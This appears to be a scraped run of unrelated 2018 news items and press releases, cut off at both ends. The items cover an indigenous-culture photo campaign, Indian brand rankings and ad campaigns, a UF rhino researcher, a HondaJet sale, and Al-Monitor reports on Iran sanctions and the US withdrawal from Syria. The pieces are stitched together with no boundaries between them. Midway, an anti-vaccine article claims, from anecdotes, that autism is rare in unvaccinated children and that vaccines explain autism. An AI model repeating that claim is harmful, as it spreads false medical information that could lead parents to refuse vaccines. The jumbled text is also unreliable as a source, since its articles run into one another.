film is the first start of a wider campaign in 2019, which will see Jimmy Nelson will work with J. Water Thompson to raise awareness of indigenous cultures - and to foster pride and respect for their irreplaceable traditions. Planet Earth is at risk of losing the cultural identities. of the many of the worlds most unique indigenous people. This is a global issue and a result of many escalating factors, including industrialization, globalization and cultural saturation led by the increasing predominance of the internet. Together this sees a homogenization and westernization of the originally diverse cultures of this world. Photographer Jimmy Nelson has made it his lifes work to attain understanding and respect for the world's indigenous cultures through his photography. He presents these cultures in an aspirational and stylized way which has previously caused some controversy amongst anthropologists and purists. However, Nelson believes that the beautification of indigenous cultures is an important message for greater humanity and one that is needed now more than ever. Today, in a bid to help safeguard a part of what Nelson sees as the very essence of all of our humanity, he is taking a stand by issuing a worldwide caution. Jimmy Nelson, photographer: If we let the cultural identity of the indigenous people disappear now, it will be lost forever. Its literally a case of BLINK and theyre gone. And if this happens, we will lose one of the most valuable assets we have our rich human cultural diversity and heritage. The depth and wealth of our humanity will shrink. This must not happen. Our collective cultural identity is too valuable to be destroyed by homogenization. We must unify and fight to support indigenous cultures and take personal pride in the myriad of their cultural traditions that are still to be found on the planet today. Further commenting on his experience with indigenous people in India, Jimmy Nelson said; I was especially excited to visit the Drokpa in Kashmir. Because of the partition in1947 there has been political social thermal. The Drokpa had been sort of hidden essentially in a bubble. I had the extreme privilege to be invited and taken there because of my experiences and connections made with the military thirty years prior to that. The Drokpa live in this one very small valley, right at the border of Pakistan, high in the Himalayas. They are still connected to these extraordinarily beautiful traditions and ornaments. In a way it reflects how many years prior to this, how that region must have been far richer, in its diverse and colourful culture and how relatively little there is today. As for the Rabari in Gujarat in Rajasthan, their numbers are far more prolific and far more engrained into the deeper soul of the more contemporary day Indian culture. The colours the jewellery, the way especially the women decorate their bodies is like nothing else in the world. Senthil Kumar, Director of the film & Chief Creative Officer, J Walter Thompson India: It was a huge honour to collaborate with legendary photographer Jimmy Nelson and direct this all important film. It was life-changing to travel far and wide across the indigenous earth, through each one of Jimmys stunning photographs. The ambition is to share the cultural evolution of these remote and ancient indigenous cultures in a mind blowing form, which will move every viewer to share the experience with the world. Bas Korsten, Global Creative Lead JWT & Creative Partner J. Walter Thompson Amsterdam: When Jimmy contacted me over a year ago I was instantly drawn to his work and his ambition. Jimmy wanted to start a global discussion on the preservation of cultural identity. A discussion like the one we instigated with The Next Rembrandt project two years ago. Im really happy that JWT Indias Senthil Kumar and I can contribute to this unique project with a mix of creativity and technology. Jimmy Nelsons aim is to start a global dialogue on the imminent loss of humanitys cultural identity, personified by the rapid decrease in tradition indigenous culture. In parallel to this global call, Nelson has produced a 525-page photography book, titled Homage to Humanity, which is a deep dive into the stories and traditions of indigenous people. The book combines innovative technology, VR and 360 films with Nelsons photography to create an immersive experience and deeper understanding of indigenous cultures, including a free-to-download app which allows the viewer to scan every image to reveal behind the scenes film content and intimate stories of the people who have been photographed. JWT and Nelsons mission is to use technology the very thing that is threatening the cultural diversity of the world for good, to promote understanding and deeper insights across different cultures. In 2019 this concept will be taken further with the launch of a disruptive technology that will further mobilize the fight to preserve global cultural heritage. BLINK. AND THEYRE GONE. Join the fight for the preservation of cultural identity, here CREDITS BLINK. AND THEYRE GONE Client: Jimmy Nelson Photographer Jimmy Nelson PR Manager Marit de Hoog Project Manager Coco Box Agency: JWT India & J. Walter Thompson Amsterdam Director: Senthil Kumar (CCO, JWT India) Creative Team: Bas Korsten & Senthil Kumar PR Director: Jessica Hartley Production House: Small Fry Productions Editors : Priyank Premkumar, Dev Nayak and Keven Menezes Music Director : Dhruv Ghanekar Vocal Percussion : Taufiq Qureshi Sound Engineer Joseph George Original Soundscapes: Various Indigenous Artists Post Producer: Jebastin Anton There is more to the Bible than meets the eye, is what Timothy Smith, renowned author of the best-seller God Code believes in. This Christmas Eve HISTORY TV18 will take you on an adventurous journey with first of its kind 2-hour long documentary God Code premiering on 24th December, 9:00 PM. In God Code Timothy P. Smith, a Virginia-based appraiser and conservator of artifacts and antiquities, reveals his quest over decades to understand the complex messages he discovered in an ancient Hebrew manuscript of the Biblesome of them applying specifically to him! His painstaking search has involved adventure and mystery, but instead of consulting ancient maps to find buried treasure, this hunt has relied on the data calculation power of modern technology. God Code shows how Scripture is more amazing than we ever dreameda unique, layered book that may even reveal the future of generations living today. In the 2-hour series, the author travels across continents in search of artifacts missing since Bible timesclues to their location revealed in God Code. Join Timothy Smith in his globetrotting journey of unlocking mysteries only on HISTORY TV18s God Code premiering on 24th December, Monday at 9:00 PM With increased internet penetration, smartphones have become an important storefront for brands and businesses of all sizes. To help businesses be present where customers are, Google India today, launched a completely new, redesigned, Google My Business App. The app is a simple and free tool for SMBs to start their digital journey through listings on Google and keep their business presence up-to-date on Google Search and Google Maps. The new app allows businesses to update their profile, converse with customers, and attract new ones in real-time, on-the-go. New features such as the new post button, a customer tab and the bottom navigation bar, allow businesses to follow and message customers directly from the app, enhancing engagement between both the parties. The new post button is a simple and free way to stand out on Google with a great Business Profile. Businesses can upload a photo, create an offer or an event, and add it right to their profile on Google for the world to see. Businesses can also manage their information seamlessly on Google from the profile tab and watch edits appear real-time across Search and Maps. Businesses can connect with customers, reply to reviews and receive messages, all in one place, through the updated customer tab. The new tab also enables businesses to see all their followers on Google Maps and using the new post button, engage them with attractive content to encourage repeat visits. Through the new customer tab businesses can even respond to customer reviews and get notifications on new customer connections as well. And with the new bottom navigation bar, businesses can track results that matter, as it provides a one-tap access to the home tab, new customers tab, and profile tab. Excited to launch this new updated version of Google My Business App, Shalini Girish, Director - Marketing Solutions, Google India said; The new Google My Business app deepens our commitment to help businesses grow online. The new app will encourage businesses to manage their presence on Google in real time, make their profiles more appealing and interact with customers. For instance, if youre a restaurant owner and have a packed house on a Friday night, the app allows you to create a post with a picture of the restaurant to engage with prospective customers on Maps and Search. Its this real-time presence that we hope will go a long way in helping businesses attract new customers and bring back existing ones. The new, free Google My Business app is available for download in Google Play or the App Store. Over the years, Google India has enabled businesses to grow online through several products and initiatives. Digital Unlocked is designed to arm SMBs with digital skills via offline and online training module and over 360,000 small businesses have been trained in the past two years. Primer is a free mobile app designed to teach digital marketing skills has been downloaded over 6.2 million times. Also, Websites with Google My Business, enables SMBs to create a free, mobile optimised website instantly in 10 regional languages and over 800,000 Indian businesses are already using it. In 2018, Indian brands on Twitter raised the bar for consumer engagement through innovative and inspirational brand campaigns. From driving brand awareness to product launches, brands in India adopted an always-on approach to cultivate a deep, meaningful relationship with their customers. While brands across industries make efforts to engage their audience on the platform, Twitter sheds the spotlight on the Top 10 brands based on engagement that shined throughout the year and rose above the rest. Top 10 Most Engaging Brands in India in 2018 Claiming five spots in the list of Top 10 Most Engaging Brands in India, mobile phone brands lead the way for brand engagement on Twitter in 2018. Honor India (@HiHonorIndia) emerged as the Most Engaging brand, with its Diwali campaign #YeDiwaliHonorWali Tweet promoting the #Honor9N & #HonorPlay garnering close to 20K Retweets to become its Top Retweeted Tweet. Samsung Mobile India (@SamsungMobileIN) took the second place, with its emotive video Tweet announcing the partnership with Asha Ek Hope foundation gaining the most Retweets. OnePlus India (@OnePlus_IN) stands strong due to its promotions of the OnePlus 5 and 6 variants, followed by Xiaomi India (@XiaomiIndia) and Motorola India (@motorolaindia), respectively. State Bank of India (@TheOfficialSBI) claimed the sixth spot, with its exemplary use of Twitter to make announcements that impacted audiences, whereas Wipro (@Wipro) owned the seventh place with updates regarding organisational growth and #WOOLmagazine. Amazon India (@amazonIN) secured the eighth position, with the #ShareforOnePlus6 campaign. The rest of the list was closed by Tata Sky (@TataSky) with its #Wishbox initiative, and Mercedes-Benz India (@MercedesBenzInd), thanks to its innovative Twitter gamification challenge. Sr.No Top 10 Most Engaging Brands in India Top Retweeted Tweet 1 Honor India @HiHonorIndia https://twitter.com/HiHonorIndia/status/1054307418270769152 2 Samsung Mobile India @SamsungMobileIN https://twitter.com/SamsungMobileIN/status/1040558278378434560 3 OnePlus India @OnePlus_IN https://twitter.com/OnePlus_IN/status/956232702889484289 4 Xiaomi India @XiaomiIndia https://twitter.com/XiaomiIndia/status/963683972810268672 5 Motorola India @motorolaindia https://twitter.com/motorolaindia/status/1001118140653187073 6 State Bank of India @TheOfficialSBI https://twitter.com/TheOfficialSBI/status/973458588688637952 7 Wipro @Wipro https://twitter.com/Wipro/status/993531855252025346 8 Amazon India @amazonIN https://twitter.com/amazonIN/status/989165874547515392 9 Tata Sky @TataSky https://twitter.com/TataSky/status/1033203942900019207 10 Mercedes-Benz India @MercedesBenzInd https://twitter.com/MercedesBenzInd/status/996333413580800000 Top 10 Brands Based on Video Views in 2018 Video continued to be the flavour of the year, with an increasing number of brands opting for different formats of video to visually showcase their products and services, driving up audience engagement. At the top position, Google India (@GoogleIndia) outranked other brands across categories, with its exemplary use of video for audience engagement. The launch of the Pixel 2 featuring Anushka Sharma (@AnushkaSharma) for example, earned the brand over 3.35M video views on Twitter. Samsung Mobile India (@SamsungMobileIN) claimed the next spot with its effective use of video to announce collaborations through emotive storytelling, while Honor India (@HiHonorIndia) secured the third place with sales announcements through snappy videos. The fourth and fifth places were taken by auto brands Maruti Suzuki Nexa (@NexaExperience) and Tata Motors (@TataMotors), with their top video Tweets themed around #WorldOfNEXABlue initiative and unveiling of #TataHarriers name respectively. At the sixth spot, Motorola India (@motorolaindia) shared a video highlighting the dual rear-camera setup and unique modes and effects of the Moto G6 camera. Up next, the video Tweet by Flipkart (@Flipkart) in collaboration with Mahesh Babu, Telugu Cinema actor to promote the Big Billion Days sale generated considerable amount of buzz. LG India (@LGIndia) claimed the second last spot by involving their target audience through a conversational video ad asking Twitter users to select the best feature of the LG Smart TV. Vistara (@airvistara) captured the attention of Twitter users with its 2018 brand film featuring Deepika Padukone as she shared her flying experience with Vistara. Lastly, HeroMotoCorp (@HeroMotoCorp) built great engagement by giving Twitter users real time access to the launch event of Xtreme 200R. Sr.No Top 10 Brands based on Video Views Top Retweeted Video Tweet 1 Google India @GoogleIndia https://twitter.com/GoogleIndia/status/956398927980343296 2 Samsung Mobile India @SamsungMobileIN https://twitter.com/SamsungMobileIN/status/1040558278378434560 3 Honor India @HiHonorIndia https://twitter.com/HiHonorIndia/status/1049729287211950081 4 Maruti Suzuki Nexa @NexaExperience https://twitter.com/NexaExperience/status/987718643000655872 5 Tata Motors @TataMotors https://twitter.com/TataMotors/status/1017014241398624256 6 Motorola India @motorolaindia https://twitter.com/motorolaindia/status/1007879437184991233 7 Flipkart @Flipkart https://twitter.com/Flipkart/status/1047808271619379200 8 LG India @LGIndia https://twitter.com/LGIndia/status/966599556841517056 9 Vistara @airvistara https://twitter.com/airvistara/status/959399958783827968 10 Hero MotoCorp @HeroMotoCorp https://twitter.com/HeroMotoCorp/status/958228433925955584 Top 5 Most Engaging Auto Brands in India in 2018 One of the most prominent industries to actively engage with audiences is the auto sector. With Auto Expo kicking the year off, brands amped up their efforts to drive conversations with Indian consumers in 2018. Topping the chart, Mercedes-Benz India (@MercedesBenzInd) indulged fans on Twitter through innovative ways, like challenging them to test their speed quotient with Twitter gamification to win exciting prizes. With people logging into Twitter to connect with companies for a variety of reasons, brands are now looking at unique and relevant ways of reaching out to their audiences on the platform. Notably, Mahindra (@MahindraRise) and Maruti Suzuki (@maruti_corp) adopted a multi-prong handle strategy, as a way to cater to different customer needs and succeeded in ramping up their engagement levels. While the aggregate of brand-related handles propelled Mahindra (@MahindraRise) to the second spot, Maruti Suzuki Nexa (@NexaExperience) established itself at the third position. Hyundai India (@HyundaiIndia) and Tata Motors @TataMotors rounded up the list at the fourth and fifth spots respectively. Sr.No Top 5 Most Engaging Auto Brands in India Top Retweeted Tweet 1 Mercedes-Benz India @MercedesBenzInd https://twitter.com/MercedesBenzInd/status/996333413580800000 2 Mahindra @MahindraRise** https://twitter.com/MahindraRise/status/1024939748656209920 3 Maruti Suzuki Nexa @NexaExperience** https://twitter.com/NexaExperience/status/987718643000655872 4 Hyundai India @HyundaiIndia https://twitter.com/HyundaiIndia/status/971463580796182528 5 Tata Motors @TataMotors https://twitter.com/TataMotors/status/1017014241398624256 Top 5 Most Engaging BFSI Brands in India in 2018 People expect direct customer service from brands through Twitter today, and those who are able to exceed customer expectations, are featured in our Top 5 most engaging BSFI brands list. State Bank of India (@TheOfficialSBI) emerged top of the list, followed closely by Yes Bank (@YESBANK) and Paytm (@Paytm). Bajaj Allianz Life (@BajajAllianzLIC) and HDFC Ltd (@HomeLoansByHDFC) took the fourth and fifth positions respectively. Leveraging the live, conversational and public nature of Twitter, BFSI brands are utilising the platform to keep their audiences abreast of the latest developments in the industry as well as their individual organisations. Realme, the No. 1 emerging smartphone brand in India, today announced a Selfie Campaign with a Selfie Contest for all youths across the country. The top winners of the contest will be chosen as the brand ambassadors of Realme U1 Fiery Gold Through this contest, students from various collages will compete to be the first ever official brand ambassadors for the young brand. Realme is the first smartphone brand to appoint the brand ambassador directly from their consumers. The competition will be conducted in various stages. The contest begins today and all the entries will be accepted by 26th December 2018. All the submitted selfies by the students will be reviewed by the Realme team and will shortlist six top finalists, which will be announced on 26th December 2018. The selfies of the shortlisted finalists will be posted on Realme social media platforms from which top two winners will be selected through a public voting procedure along with the opinion of Realme jury. The 2 winners will be appointed as the brand ambassadors for the Realme U1 Fiery Gold variant and will be awarded with the title of Realme Gold Ambassadors. The public voting for the 2 Realme Gold Ambassadors will start from 12PM, Dec. 26 to 00:00, Dec. 28th. The final winners will be announced on 28th Dec, 2018 at 12:00PM Announcing the competition, Madhav Sheth, Chief Executive Officer, Realme India, said, As a young brand for the youth, we cherish our customers. We believe in our customers and consider them as our brand ambassadors. This contest will give us the perfect chance to choose brand ambassadors for Realme U1 Fiery Gold variant from the Realme lovers for the Realme lovers. These young people are the future of our country and deserve every opportunity to excel in life. With this contest, we are creating a platform to explore their photographic creativity appreciating their talent. The top two brand ambassadors will receive Realme smartphones to be launched in 2019, including one Realme U1 Fiery Gold handset, one Realme Buds and one Realme U1 Iconic Case. Each of the 6 finalists will win one Realme U1, one Realme Buds and one Realme U1 Iconic Case as well. The top two winners will also receive an international trip to Realme Global head office for photo shoots, which will be promoted by the brand globally. "We will get this right. Portrait by Brianne Lehan and Lyon Duong/UF Photography. Artwork: "White Rhino, Namibia" by Maroesjka Lavigne from the series Land of Nothingness, 2015, courtesy of Robert Mann Gallery, New York Zoliswa "Zoe" Nhleko Doctoral candidate, UF/IFAS School of Natural Resources and Environment; Wildlife Ecology and Conservation A junior scientist with South African National Parks, Nhleko uncovers how stress from poaching affects white rhino populations. What she discovers can help other threatened species. Rhino mysteries: Theres lots of general descriptive information about rhinos they walk around and nibble on this and that. But we are missing some key elements that will help us save them. We dont know the nitty gritty, she said. One key question is how they choose their habitat. Its not clear why they prefer the southern part of Kruger National Park over some of the other habitats available in the northern parts of the park. Its like there is a line they will not cross. Once we understand what they are looking for, then we may be able to move them from high-poaching areas into suitable habitats in safer areas. Fear factor: Figuring out what scares white rhinos could help protect them. If we know what stresses them, we could manipulate the environment and make it unsuitable in a way that gets them out of danger, because by themselves, theyre not doing it. Theyre not scared of people, but they should be. Poaching is more than a wildlife problem: What are the social issues that are making people want to do these things? Its not just a conservation problem. Its a social problem, its a political problem. Its time we all get together and come up with solutions. More than anything, we need to be thinking outside of our own fields. How do you stay optimistic? Its the possibility that we might actually figure something out and save the species. Its been done before. Theyve saved rhinos from less than 100 individuals left. They werent dealing with the same rampant poaching and climate change and degradation of habitat, but it has been done before. If we can learn from what was done then, what we know now and the new knowledge we are gathering, we could save other species from extinction. Read more about Nhleko's rhino conservation work. This is part of a series highlighting people at the University of Florida working to protect our well-being and the health of the planet, paired with works from the Harn Museum of Art exhibition The World to Come: Art in the Age of the Anthropocene. See more at http://news.ufl.edu/articles/2018/12/creating-the-world-to-come.php. Indias Most Attractive Brands Report 2018 (MAB 2018), in its fifth edition, has listed the countrys Most Attractive 1000 brands, based on TRAs proprietary model of Brand Attractiveness. The study is an annual syndicated primary research conducted with 2500 consumer-influencers across 16 Indian cities. Leading the list, Indias Most Attractive Brand is Samsung, the Korean mobile phone manufacturer, which also inaugurated the worlds largest mobile phone factory in Noida earlier this year. TRA Research has been scientifically measuring Buying Propensity through its proprietary matrices of Brand Trust and Brand Attractiveness since 2010. Tata Motors, which has shown very good market performance recently, is ranked 2nd All-India, with a phenomenal jump from 181st rank last year. Apple iPhone, ranked 3rd this year All-India having jumped up from 92nd rank in 2017. Reliance Jio, the three-year old disrupter telecom brand and already the third largest mobile phone network in India, ranks 3rd among Indias Most Attractive Brands and tops the Mobile Telephony Category unseating last years leader, Airtel. Maruti Suzuki is ranked the 5th Most Attractive brand in India, up two ranks over last year. The next five ranks among the top ten are Samsung (Consumer Electronics) at 6th, Dell (Laptops) at 7th, SBI (Bank PSU) at 8th, Nike (Sportswear) at 9th and Honda (Four-Wheeler) at 10th. Attractiveness or Desire can be defined as the response to a sense of longing for anything - a product, brand, person or an outcome. When brands score high on TRAs Brand Attractiveness research, they have successfully created similar subconscious pull. Such brands have intense magnetic power over the consumers. It is extremely gratifying to see that Indian brands have the maximum presence among the top 100, said N. Chandramouli, CEO, TRA Research on the launch of the report. He expanded that 49 Indian, 18 American, 6 South Korean, 6 Japanese & 2 Chinese brands made it to top 100 Most Attractive list. Chandramouli further added, Categories of Gadgetry, Mobile Services, Automobiles and Consumer Electronics have the largest average Attractiveness Index this year. All these Categories are highly driven by individual personalities and this shows a rise in the Self-Awareness a growing sense of Purpose and Social-Worth of the Indian consumer. The report lists 286 Categories under 34 Super-Categories. The other Category leaders in this report are Levis (Casualwear), Biba (Ethnicwear-Women), Siyaram (Fabrics), Allen Solly (Formalwear), MRF (Tyres), ICICI Bank (Bank-Private), SBI (Bank-PSU), HSBC (Bank-Foreign), Visa (Credit /Debit card), Fastrack (Branded Fashion), Gucci (Luxury Fashion), Kenstar (Consumer Appliances), Samsung (Consumer Electronics), Symphony (Air Coolers), LG (Refrigerators), Samsung (Washing Machines), Philips (Lighting), Odonil (Air Fresheners), Himalaya (Baby Products), Nippo (Batteries), Coca-Cola (Aerated Beverages), Kit Kat (Chocolate Bar), Canon (Cameras), Patanjali (Ayurvedic Products), Moov (Pain Balm), Prestige (Cookware), Roca (Bath Fixtures/Sanitaryware), Taj Hotels (Hotels Premium), Google (Internet Search), Amazon (Online Retail), Ola (Taxi Aggregation), ACC (Cement), Hero (Cycles), Nike (Sportswear), Titan (Watches), DLF (Real Estate), FBB (Fashion Retail), Nataraj (Writing Accessories), Dell (Laptops), Hewlett Packard (Personal Technology) and Jet Airways (Airline Private). Aiming to inspire air travelers to not settle for second best, Vistara, Indias finest full-service carrier, today announced its new high-decibel multimedia brand campaign dubbed Fly Higher. The Fly Higher campaign builds on Vistaras brand promise, which is to make people look forward to flying again, and to expect the same level of class, quality, and attention to detail in the air as they expect in their other career, lifestyle, and travel choices. Conceptualized by Vistaras creative agency FCB India, the creative concept of the brand campaign is based on wide-ranging customer insights suggesting that discerning customers today are not willing to settle for less than the best. Successful Indians of all ages today live a life of a certain standard they choose offbeat and challenging careers, create their own success stories, dine at fine restaurants, wear the best brands, pick uncommon holiday destinations, stay in the most stylish hotels, and expect the best quality and service in everything they select, but when it comes to flying, there is generally a compromise to select basis simply the fare, in the absence of compelling reasons to select basis additional attributes. Vistara challenges this by giving flyers a reason to select their airline too with the same discerning eye to quality and customer experience: Why settle for second best when you can fly the best? Fly Higher is an extension of Vistaras tagline Fly the new Feeling. Vistara offers travellers a flying experience like no other, thereby taking flying to the next level. As stated in the text that accompanies the inaugural campaign ad: Smart was never for you. You went for smarter. Your rides became faster. Your tastes became finer. Your holidays turned grander. But when it comes to flying, why settle for the same old standard? Come aboard Vistara, where we have taken flying to the next level. Where the seats are plusher, the music nicer, the food tastier, the coffee smoother, the welcome warmer, and the entire experience classier. The new integrated campaign is scheduled to go on-air on 14th December 2018 and will run for approximately 75 days from the launch. The campaign will be deployed across multiple platforms including digital, TV, cinema print and outdoor, aiming to target the diverse range of travelers. Commenting on the new brand campaign, Sanjiv Kapoor, Chief Strategy & Commercial Officer, Vistara said, At Vistara, we deliver a flying experience like no other airline in India. Our frequent flyers know this and tell us we have really made flying something they can look forward to again. We want to bring this message to a larger audience through this new campaign. You have a choice of airlines when it comes to flying why not choose the one that aims higher, treats you better, and continues to find new ways to delight customers? Good enough is not good enough for the corporate high flyers and successful millennials of today, why not choose an airline that thinks like you do, that understands you and respects your needs? Why not Fly Higher? As the highest-rated Indian airline on Skytrax and TripAdvisor, and winner of several Best in Industry awards, Vistara has consistently raised the bar for operations and service delivery in the Indian aviation industry in a short span of less than four years. The airline today serves 22 destinations with over 800 flights a week and a fleet of 22 aircraft and has flown over 12 million customers since launch. Surjo Dutt, National Creative Director, shared, Were excited to partner with a brand that comes from such rich heritage. From the get go, Vistara has redefined what flying means to the Indian traveller. And so, the idea of fly higher captures that essence beautifully. It resonates not just with the frequent flyer, but all those who are constantly seeking a better flying experience. It's a product that is so good that it practically sells itself. So, it's been a whole lot of fun flying higher with Vistara, even for us." Credits: We can start with groups whose parents choose no vaccines for their children. There are such groups in every major metropolitan area and scattered around the country in small towns. They frequently have difficulty finding a doctor who will work with them and respect their decision. There are a few doctors out there who will work with parents who choose to avoid vaccines altogether or selectively vaccinate their children. Homefirst Medical Services provides medical care for families who choose to have home births and avoid vaccines in the Chicago area. They have treated around 35,000 of these children over the years. Homefirsts medical director, the late Dr. Mayer Eisenstein, said in an interview a few years ago I dont think we have a single case of autism in children delivered by us who never received vaccines. This is going to be very easy. The CDC tells us that 1 in every 68 children in the U.S. has autism and a recent government survey pegged the incidence of autism even higher at 1 in 45 children. We are told repeatedly that autism is genetic and vaccines dont cause autism. All we need to do is go find groups of unvaccinated children and count those with autism. Lets try Amish children. They are mostly unvaccinated. Dr. Frank Noonan is a doctor who treats Amish children in Lancaster County, Pennsylvania. He has said that he has seen no cases of autism in the thousands of Amish children he has treated over 25 years. Youll find all the other stuff, but we dont find the autism. Were right in the heart of Amish country and seeing none, and thats just the way it is. Dr. Heng Wang is a neurologist and the director of the Clinic for Special Needs Children in Ohio, another area where there is a large Amish population. He has estimated the rate of autism in the Amish community to be 1 in 15,000. Dr. Jeff Bradstreet, a Florida family doctor who died mysteriously recently, proposed a study of unvaccinated children. He said I know I can tap into this community and find you large numbers of unvaccinated homeschooled children. We can do simple prevalence and incidence studies in them. My gut reaction is that youre going to find no autism in this group. Rather than being very easy, finding unvaccinated children with autism seems to be downright difficult. Doctors Eisenstein, Noonan, Wang, and Bradstreet have been out there on the front lines actually treating unvaccinated children. Their assessment that autism is quite rare in these children is valid. Conclusion: Autism is common in fully vaccinated children but rare in unvaccinated children. I cant wait to see the documentary Vaxxed: from cover-up to catastrophe. I feel sure it will help people connect the dots of the autism controversy. Dr. Gaunt is a retired doctor of naturopathic medicine. He has also taught chemistry and anatomy at high school and college levels. To read previous articles, google articles by Dr. William H. Gaunt on ageofautism.com. Honda Motor delivered Thursday its first HondaJet business plane in Japan to prominent investor Kotaro Chiba, co-founder of game company Colopl. The automaker is moving into the largely untapped domestic market for private business planes. It handed over a HondaJet Elite boasting an improved range of 2,661 km -- enough for direct flights between Tokyo and Beijing or Shanghai. The jet is priced at $5.25 million. Business jets are common in Western countries but less so in Japan, in part due to the availability of fast alternatives like shinkansen bullet trains. Japan's private sector held 57 business jets at the end of 2016, compared with more than 19,000 in the U.S., the world's largest market. Honda became the world's leading supplier of small business jets in 2017. In Japan, it began taking orders in June and has received orders for more than 10 units so far. Would you like to receive breaking news notifications from The Post and Courier? Sign up to receive news and updates from this site directly to your desktop. Breaking News Columbia Breaking News Greenville Breaking News Myrtle Beach Breaking News Aiken Breaking News N Augusta Breaking News Click on the bell icon to manage your notifications at any time. Success! Please click the 'Allow' button in the 'Show Notifcations' alert in your browser if one is available. Thank you for signing up! Please enable notifications in your browser and reload the page. Democrats are signaling that they are ready to pick a fight with President Donald Trump over Iran sanctions when they assume control of the House of Representatives next month. It appears their opening salvo is already in the works. Rep. Jared Huffman, D-Calif., is asking colleagues to sign a letter grilling the Trump administration on humanitarian exemptions in its sweeping Iran sanctions regime. Credible reporting indicates that sanctions are indeed inhibiting the flow of humanitarian goods to the Iranian people, and this understanding is reflected broadly amongst the international community, Huffman asserts in the letter, addressed to Secretary of State Mike Pompeo. In recent weeks, shortages have been reported for anticoagulants and medicine to treat ailments including multiple sclerosis and cancer. The letter asks Pompeo to respond to a series of questions on the humanitarian exemptions in the sanctions by Dec. 31. Huffman threatened otherwise to work with the chairs of relevant committees to ensure hearings on this topic. Democrats will have greater oversight of the Trump administration when they take control of the House in January. The overwhelming majority of congressional Democrats opposed Trumps decision to pull out of the Iran nuclear deal and reinstate sanctions earlier this year. An aide in Huffmans office told Al-Monitor that the California Democrat would be sending the letter to Pompeo in the coming days. Rep. Jim McGovern, D-Mass., the incoming chairman of the House Rules Committee, which sets the parameters for floor activity, has already co-signed the letter in addition to Reps. Barbara Lee, D-Calif., Mark Pocan, D-Wis., and Bobby Rush, D-Ill. Huffmans appeal to his colleagues states that his effort is backed by several liberal groups that support the nuclear deal, including the National Iranian American Council (NIAC), J Street and Win Without War. All three organizations joined 37other advocacy groups in a statement earlier this week calling on lawmakers to prioritize rejoining the Iran nuclear deal. In addition to calling on Congress to oppose any sanctions inhibiting the agreement, the statement also asks lawmakers to rally against sanctions that block necessary humanitarian and medical supplies from reaching the country. We are deeply concerned that the administration intends to impose collective punishment on ordinary Iranians in defiance of international obligations and US law, NIAC President Jamal Abdi told Al-Monitor. They have already shut down viable pathways for humanitarian trade, and we are already hearing horror stories from Iranian Americans about family members unable to access medicine. Congress must hold the administration accountable and send a message to the international community that it will not allow Trump to target humanitarian trade. The Trump administration frequently points to existing sanctions exemptions for food and medicine, but Iran has struggled with imports because many Iranian banks are sanctioned by Washington. Iran had also struggled to import adequate amounts of medicine under the Barack Obama-era sanctions regime, but the current administrations sanctions have gone further since Trump's withdrawal from the nuclear deal. Under the Obama administration, Irans Parsian Bank had facilitated many of the humanitarian transactions. The Trump administration, however, sanctioned the bank in October. Huffmans letter cites a report in The Guardian indicating that Britain, France and Germany have been pushing the Trump administration for clearer guidance on how to facilitate humanitarian transactions with Iran without running afoul of US sanctions. The letter presses the State Department for clarity as to whether it has acted on this request. It also asks whether the Treasury Department needs to issue a broader license exemption for humanitarian trade with Iran. The Trump administration, meanwhile, continues to place the blame squarely on Iran for its restricted access to food and medicine. When pressed in a November interview about the Iranian peoples ability to take advantage of the humanitarian exemptions, Pompeo responded, The leadership has to make a decision that they want their people to eat. They have to make a decision that they want to use their wealth to import medicine and not use their wealth to fund [Commander] Qasem Soleimanis travels around the Middle East. Prime Minister Benjamin Netanyahu declared today that Israel would increase its efforts against Irans influence in Syria "in a very decisive way and with support and backup from the US. The comments come after US President Donald Trumps announcement Wednesday that he was pulling US troops out of Syria caught Israel by surprise, just as it did other US allies as well as Congress and key figures in the Trump administration itself. The United States had previously promised Netanyahu that US troops would remain in Syria until Iran and its proxies were removed. The Israeli leader, after speaking with Trump and Secretary of State Mike Pompeo, said that the pullout will be coordinated with Israel. Why it matters: Although the 2,200 or so US troops' main goal in Syria was to fight the Islamic State, their presence was also a warning to Tehran that Israel had a strong ally in the neighborhood and that Iran should stay clear of southern Syria. The timing is problematic for Israel, which has been busy over the past two weeks with its operation against Hezbollah's tunnels on the border with Lebanon. The US withdrawal signals to all parties involved in Syria that Washington is ready to relinquish its influence. One-power game: The new situation leaves Russia as the only major power in the area. Israeli relations with Moscow are complex after a Russian intelligence plane was shot down by Syrian air defenses following an Israeli attack on Iranian targets in Syria in September. Since then, Israel has reduced its tempo of airstrikes in Syria. What's next: Israel will have to show the Iranians that the US void can be filled. Expect the Israeli air force to attack around the time of the actual US withdrawal to make a point. More talks with Russia are also expected, including a possible meeting between Netanyahu and Russian President Vladimir Putin to coordinate next moves. Know more: Visit the Washington Pulse for complete coverage of the fallout from Trumps decision. And be sure to read Al-Monitors Akiva Eldar for an explanation of how Israels military action against Hezbollah's tunnels on the border with Lebanon is part of a much bigger conflict with Iran. -Danny Zaken The sudden announcement by President Donald Trump to withdraw 2,000 US troops from Syria has surprised leaders and analysts around the world. Trump, claiming that the Islamic State has been defeated, reportedly made the decision days after he spoke with Turkish President Recep Tayyip Erodgan. American politicians have criticized the move, which will leave US-backed Kurdish forces in Syria in limbo. Iran has not yet officially reacted to the decision. Irans Foreign Ministry spokesman Bahram Ghassemi spoke today, but only to condemn Albania for expelling two Iranian diplomats. President Hassan Rouhani, who is in Turkey to meet with Erdogan to expand economic ties, did not address the exit of US troops from Syria, neither at the press conference nor in a joint statement. Rouhanis only comment on Syria was: Syria is important for us and it is important Syria be in the hands of the Syrian people. The territorial integrity of this country must be respected by everyone. Iranian analysts and commentators, however, were actively dissecting the news of the US withdrawal. Sadollah Zaeri, a conservative commentator and analyst, wrote in Fars News, As far as volume, in comparison to others America has the fewest number of military troops in Syria and they are settled in eight headquarters in eastern Syria and mostly north of Raqqa. He continued, America does not have a strong footing in Syria, meaning they do not have an indigenous ally. Zaeri wrote that US troops in Syria are threatened by numerous groups. The Syrian armys determination to cleanse Aleppo makes their settlement more difficult and therefore it is in their interests to leave the dangerous climate of Syria. Zaeri continued, The exit of American troops from Syria has no impact on the military calculations of the country. Zaeri predicted that the US withdrawal will put Turkey in a more difficult position, because after the US exit they will be the only country to have troops in Syria illegally. Zaeri added that Turkey will also likely withdraw from Syria in the following months. Other analysts and commentators were a little more celebratory regarding news of the US withdrawal. Mahdi Mohammadi, a conservative commenter and former media adviser to previous nuclear negotiator Saeed Jalili, tweeted, Trump decision for a sudden withdrawal from Syria means America was not able to change the regional strategy of Iran nor able to break it. Other commentators recounted Supreme Leader Ayatollah Ali Khameneis speech in April, in which he responded to US calls demanding Iran pull back its influence in the region. During that speech, Khamenei said, It is America who must leave Western 